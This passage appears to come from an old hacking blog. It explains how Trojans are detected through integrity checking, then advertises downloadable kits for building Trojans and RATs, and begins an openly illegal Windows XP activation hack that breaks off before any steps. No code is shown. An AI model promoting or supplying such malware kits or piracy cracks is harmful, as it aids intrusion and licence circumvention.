whether it is (or is not) a Trojan because author intent and user expectations are not generally susceptible to automated analysis.&lt;br /&gt;In most cases, Trojans are found in binaries, which remain largely in non-human-readable form. However, the fact that the code is largely static does make Trojans at least as susceptible to "known-something" detection as viruses. In other words, when a known malicious program is identified, it can be detected by software updated with an appropriate search string. Remember that, by most definitions, replication is not a characteristic of the Trojan breed. Trojans spread through the action of being copied by an attacker or a victim socially engineered into carrying out the attacker's wishes, not by self-copying.&lt;br /&gt;Thus it is not usually feasible for an attacker to utilize techniques such as polymorphism to reduce the chance of detection. Since the copying of the program is not a function of the program itself, the program has no means of evolving into a nonidentical copy (a morph) of itself.&lt;br /&gt;Nevertheless, undetected Trojans can lead to total system compromise. A Trojan can be in place for weeks or even months before it's discovered. In that time, a cracker with root privileges could alter the entire system to suit his or her needs. Even when the Trojan is discovered, many hidden loopholes might be left behind when it is removed.&lt;br /&gt;&lt;br /&gt;More commonly, the process described as object reconciliation is known as change detection, integrity checking, or integrity management. However, these terms are not strictly synonymous.&lt;br /&gt;&lt;br /&gt;Change detection simply describes any technique that alerts the user to the fact that an object has been changed in some respect.&lt;br /&gt;&lt;br /&gt;Integrity checking has the same core meaning, but is often taken to imply a more sophisticated approach, not only to detecting change in spite of attempts to conceal it, but to ensuring that the reporting software itself is not subverted.&lt;br /&gt;&lt;br /&gt;Integrity management is a more general term. It can include not only the detection of unauthorized changes, but other methods of maintaining system integrity. Such methods can include some or all of the following, in no particular order:&lt;br /&gt;&lt;br /&gt;- Maintaining trusted backups&lt;br /&gt;&lt;br /&gt;- Blocking unknown intrusions at entry&lt;br /&gt;&lt;br /&gt;- Maintenance of strict access control&lt;br /&gt;&lt;br /&gt;- Careful application of manufacturer patches to block newly discovered loopholes&lt;br /&gt;&lt;br /&gt;- A finely engineered change-management system, using only signed (trusted) code.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A simple method of testing file integrity, is based on reports of changes in file state information. Different file integrity tests vary in sophistication. For example, you can crudely test a file's integrity using any of the following indexes:&lt;br /&gt;&lt;br /&gt;- Date last modified&lt;br /&gt;&lt;br /&gt;- File creation date&lt;br /&gt;&lt;br /&gt;- File size&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you would like to learn how Trojans or Rats are built you may download VB, C++ or Delphi Kits from below!&lt;br /&gt;&lt;br /&gt;{ Attention! Following kits are educational ! }&lt;br /&gt;&lt;br /&gt;Download:&lt;br /&gt;&lt;br /&gt;- Delphi Master Kit 2006&lt;br /&gt;&lt;br /&gt;- VB Master Kit 2006&lt;br /&gt;&lt;br /&gt;- C++ Master Kit 2006&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Backround!&lt;br /&gt;Delphi - A Rapid Application Development (RAD) system developed by Borland International, Inc. Delphi is similar to Visual Basic from Microsoft, but whereas Visual Basic is based on the BASIC programming language, Delphi is based on Pascal.&lt;br /&gt;[ moderate - for pro's &amp; begginers ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VB - Programming language developed by Microsoft. Based on the BASIC language, Visual Basic was one of the first products to provide a graphical programming environment and a paint metaphor for developing user interfaces. Instead of worrying about syntax details, the Visual Basic programmer can add a substantial amount of code simply by dragging and dropping controls, such as buttons and dialog boxes. [ easy - for begginers ]&lt;br /&gt; &lt;br /&gt;Make Your WinXP Genuine 07/26/2008&lt;br /&gt;0 Comments&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;     Legal Disclaimer :Any actions or activities related to the material contained within this website is solely your responsibility. Do not misuse the information given out here. The authors will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law. This site contains materials that can be potentially damaging or dangerous. If you do not fully understand something on this site, then GO OUT OF HERE! Refer to the laws in your province/country before accessing, using,or in any other way utilizing these materials. These materials are for educational and research purposes only. Do not attempt to violate the law with anything contained here. If this is your intention, then LEAVE NOW! Neither administration of this server, the authors of this material, or anyone else affiliated in any way, is going to accept responsibility for your actions.&lt;br /&gt;&lt;br /&gt;These are just a collection of what is available on world wide web,&lt;br /&gt;It has no connection in any kind of developement with the author.&lt;br /&gt;Do Not Distribute in Any Form :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This activates ur "Windows Xp Home" if not activated and completely validates it..[ITS ILLEGAL[&lt;br /&gt;When you Install Windows Xp Home Edition it asks "60 days lest for the activation" please Activate it Now .. This Hack
